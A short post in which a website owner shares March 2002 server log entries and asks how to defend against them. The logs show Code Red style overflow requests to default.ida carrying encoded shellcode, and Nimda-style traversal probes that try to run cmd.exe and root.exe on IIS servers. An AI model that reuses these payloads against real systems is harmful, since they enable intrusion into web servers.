i saw these entries in my weblog anything i can do against this 61.182.248.223 - - [12/Mar/2002:07:47:44 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090% u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u 0000%u00=a HTTP/1.0" 400 331 64.133.27.115 - - [12/Mar/2002:10:23:19 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:20 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:20 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:20 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:20 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:21 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:21 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:21 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt /system32/cmd.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:21 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:22 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 64.133.27.115 - - [12/Mar/2002:10:23:22 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:22 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:22 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 294 64.133.27.115 - - [12/Mar/2002:10:23:23 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 294 64.133.27.115 - - [12/Mar/2002:10:23:23 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 476 64.133.27.115 - - [12/Mar/2002:10:23:23 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 476 202.5.152.215 - - [12/Mar/2002:12:01:15 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090% u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u 0000%u00=a HTTP/1.0" 400 331 146.155.10.241 - - [12/Mar/2002:12:50:04 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090% u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u 0000%u00=a HTTP/1.0" 400 331 212.205.99.248 - - [12/Mar/2002:13:07:02 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090% u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u 0000%u00=a HTTP/1.0" 400 331